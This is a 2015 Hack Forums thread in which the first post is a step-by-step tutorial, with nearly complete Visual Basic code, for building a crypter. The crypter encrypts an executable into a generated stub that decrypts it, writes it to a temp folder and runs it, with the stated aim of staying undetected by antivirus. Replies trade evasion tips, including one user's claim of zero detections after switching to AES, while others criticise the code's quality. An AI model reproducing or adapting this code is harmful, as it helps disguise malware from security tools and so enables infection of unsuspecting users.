

Forum: [Hack Forums](#)

Thread: [Visual Basic Crypter TUT 2015 codedom poly \[scantime only\]](#)

DangerZone90 - March 4, 2015, 9:06 pm

this is a updated tut for a FUD crypter using codedom
credits to Ethereum for encryption
credits to codedom by Pr3fix

building to crypter

first and 2 buttons
then add 2 textboxes
then add timer

should look like:



add to timer

Quote:TextBox2.Text = GenerateString(15)

timer settings should look like this



then add to button 1

Quote:Dim ofd As New OpenFileDialog

ofd.Filter = "Executables *.exe|*.exe"

If ofd.ShowDialog = Windows.Forms.DialogResult.OK Then TextBox1.Text = ofd.FileName Else
TextBox1.Text = ""

then add this to crypt button

Quote:Dim sfd As New SaveFileDialog ' New SaveFileDialog to choose the server location

sfd.Filter = "Executables *.exe|*.exe"

If sfd.ShowDialog = Windows.Forms.DialogResult.OK Then

Dim Source As String = My.Resources.TextFile1 'Declares the temporary source.

Dim Password As String = TextBox2.Text

Dim Bytes As String =

ProcessBase64(EncryptText(Convert.ToBase64String(File.ReadAllBytes(TextBox1.Text)),
Password), 2000) 'Encrypts, Formats and Converts the bytes.

Source = Source.Replace("[a]", Password) 'Inserts the Encryption key into the code.

Source = Source.Replace("[b]", GenerateString(7)) 'Some basic variable name randomization.

Source = Source.Replace("[c]", Bytes) 'Inserts the encrypted and formatted bytes into the code.

Compile(sfd.FileName, Source) 'Runs the compile Sub using the source.

MsgBox("Crypted!") 'Tells you that the process is done!

End If

add this after any "end sub"

Quote:#Region "Encryption and Comiling"

```
Private Function GenerateString(ByVal Lenght As Integer) 'Generates some random text
    Dim Allowed As String =
"qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM1234567890"
    Dim ReturnString As String = ""
    Dim Randumb As New Random
    For i = 1 To Lenght
        ReturnString &= Allowed.Chars(Randumb.Next(0, Allowed.Length - 1))
    Next
    Return ReturnString
End Function

Public Function ProcessBase64(ByVal Base64Bytes As String, ByVal MaxRowLengt As Integer)
As String 'Puts the encrypted data in smexy VB.NET formatted lines.
    Dim RowLenght As Integer = 0
    Dim CurrentRow As String = ""
    Dim Output As String = ""
    For i = 0 To Base64Bytes.Length - 1
        RowLenght += 1

        CurrentRow &= Base64Bytes.Chars(i)
        If i = Base64Bytes.Length - 1 Then
            Output &= Chr(34) & CurrentRow & Chr(34)
        Else
            CurrentRow &= " "
        End If
        If RowLenght = MaxRowLengt Then
            Output &= Chr(34) & CurrentRow & Chr(34) & "& _ " & Environment.NewLine
            CurrentRow = ""
        End If
    Next i
    Return Output
End Function

Public Sub Compile(ByVal Output As String, ByVal Source As String) 'CodeDOM compiler by
Pr3fix
    On Error Resume Next

    Dim Compiler As ICodeCompiler = (New VBCodeProvider).CreateCompiler()
    Dim Parameters As New CompilerParameters()
    Dim cResults As CompilerResults

    Parameters.GenerateExecutable = True
    Parameters.OutputAssembly = Output
    Parameters.ReferencedAssemblies.Add("System.dll")
    Parameters.ReferencedAssemblies.Add("System.Data.dll")
    Parameters.ReferencedAssemblies.Add("System.Windows.Forms.dll")
```

```

Dim Version = New Dictionary(Of String, String)
Version.Add("CompilerVersion", "v2.0")

Dim ICO As String = IO.Path.GetTempPath & "iCompiler.ico"

cResults = Compiler.CompileAssemblyFromSource(Parameters, Source)

If cResults.Errors.Count > 0 Then
    For Each CompilerError In cResults.Errors
        MessageBox.Show("Error: " & CompilerError.ErrorText, "", MessageBoxButtons.OK,
        MessageBoxIcon.Error)
    Next
    ElseIf cResults.Errors.Count = 0 Then

End If

End Sub

Public Function EncryptText(ByVal input As String, ByVal key As String) As String

    'This function Polymorphically encrypts the entered Text, utilising a Key and Salt.
    'All credits to Ethereum of HackForums.net
    'Please leave the credits.
    Dim R As New Random()
    Dim kc As Integer = 0
    Dim text As Char() = input.ToCharArray()
    Dim keyarr As Char() = key.ToCharArray()
    Dim FinVal As Char() = New Char(input.Length) {}
    Dim Rnd As Integer = R.[Next](100, 220)
    For index As Integer = 0 To input.Length - 1
        If kc >= keyarr.Length Then
            kc = 0
        End If

        Dim ptVal As Integer = AscW(text(index))
        Dim kVal As Integer = AscW(keyarr(kc))
        Dim ciVal As Integer = ptVal + kVal + Rnd
        FinVal(index) = Convert.ToChar(ciVal)
        kc += 1
    Next
    FinVal(input.Length) = ChrW(Rnd)
    Dim RetStr As New String(FinVal)
    Return RetStr

End Function
#End Region

then add text file in resources
Quote:Imports System, Microsoft.VisualBasic, System.IO
Imports System.Security.Cryptography
Imports System.Diagnostics

```

Module Module1

Sub Main()

Dim Key As String = "[a]"

Dim save As String = Path.GetTempPath & "temp.exe"

Dim [b] As String = [c]

Dim Bytes As Byte() = Convert.FromBase64String(DecryptText([b], Key))

File.WriteAllBytes(save, Bytes)

Process.Start(save)

End Sub

Public Function DecryptText(ByVal input As String, ByVal key As String) As String

'This function decrypts text that was encrypted with the Polymorphic encrypter in this class.

'All credits to Ethereum of HackForums.net

'Please leave the credits.

Dim text As Char() = input.ToCharArray()

Dim keyarr As Char() = key.ToCharArray()

Dim FinVal As Char() = New Char(input.Length - 2) {}

Dim RndKVal As Integer = AscW(text(input.Length - 1))

text(input.Length - 1) = ControlChars.NullChar

Dim kc As Integer = 0

For index As Integer = 0 To input.Length - 1

If index >= input.Length - 1 Then

Continue For

End If

If kc >= keyarr.Length Then

kc = 0

End If

Dim ciVal As Integer = AscW(text(index))

Dim kVal As Integer = AscW(keyarr(kc))

Dim ptVal As Integer = ciVal - RndKVal - kVal

FinVal(index) = Convert.ToChar(ptVal)

kc += 1

Next

Dim RetStr As New String(FinVal)

Return RetStr

End Function

End Module

replace all Dim's or strings with legit strings for a full FUD also process can be relaced with refection or runpe ect

reFUD your crypter

xCocaine - March 5, 2015, 1:01 am

That's not "runtime only", that's "scantime" only, and it's not fud.

SIM-2071734 - March 5, 2015, 4:27 am

(Mar 5, 2015 02:01 AM)xCocaine Wrote: [\[CITE\]](#) That's not "runtime only", that's "scantime" only, and it's not fud.

You can easily change the encryption method...

DangerZone90 - March 5, 2015, 5:41 am

(Mar 5, 2015 02:01 AM)xCocaine Wrote: [\[CITE\]](#) That's not "runtime only", that's "scantime" only, and it's not fud.

sorry for that and yes it not fud but with new encryption and string edits it can be

Kill?Muvz - March 5, 2015, 5:28 pm

(Mar 5, 2015 05:27 AM)lupettohf Wrote: [\[CITE\]](#) You can easily change the encryption method...

Simply changing encryption method doesn't make it FUD. There's more to crypters than that;

SIM-2071734 - March 7, 2015, 5:57 am

(Mar 5, 2015 06:28 PM)Kill?Muvz Wrote: [\[CITE\]](#) Simply changing encryption method doesn't make it FUD. There's more to crypters than that;

In this case it worked. From RC4 to AES i got 0/59. Yeah you can also rename the conts and stuff but sometimes changin the encryption methods works...

Increment - March 7, 2015, 7:39 am

Welcome to the official polymorphic definition of HF.

Moon Rock - March 7, 2015, 7:42 am

I'll have to check this out later, thanks op. I've been wanting to look at how crypters work ?

?lixir - March 15, 2015, 7:07 pm

I would call that a simple bare-bones USG engine. But it still only renames so not a full USG engine lol.

DangerZone90 - March 15, 2015, 9:21 pm

(Mar 15, 2015 07:07 PM)?lixir Wrote: [\[CITE\]](#) I would call that a simple bare-bones USG engine. But it still only renames so not a full USG engine lol.

can you do better? this is for learn not give out..

Increment - March 15, 2015, 9:58 pm

(Mar 15, 2015 09:21 PM)DangerZone90 Wrote: [\[CITE\]](#) can you do better? this is for learn not give out..

The real question is actually if it is possible to do worse.

?lixir - March 16, 2015, 5:07 am

(Mar 15, 2015 09:21 PM)DangerZone90 Wrote: [\[CITE\]](#) can you do better? this is for learn not give out..

Yes. I've done better countless of times.

Zettabit - March 16, 2015, 10:57 am

(Mar 15, 2015 09:21 PM)DangerZone90 Wrote: [\[CITE\]](#) can you do better? this is for learn not give out..

What the fuck do you mean "this is for learning"? All you did was make it easier for skids to copy and paste. They're going to learn nothing from this. Not to mention there are dozens of improvements that need to be made.

users123 - March 17, 2015, 3:14 pm

zettibit its more than just copyin and paste i learned alot from it... stop being a whiny bich..

ErsGuterJunge45 - July 8, 2015, 5:09 pm

I am really sorry for this question... I am not good in Visual Basic...
What does "then add text file in resources" mean?

Dredd - July 8, 2015, 6:01 pm

(Jul 8, 2015 05:09 PM)ErsGuterJunge45 Wrote: [\[CITE\]](#) I am really sorry for this question... I am not good in Visual Basic...

What does "then add text file in resources" mean?
Please let this thread rest in peace.

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tweety - July 8, 2015, 7:59 pm

Did you know if you put 'Option Strict On', your code becomes broken. So much wrong with this..
Good God.

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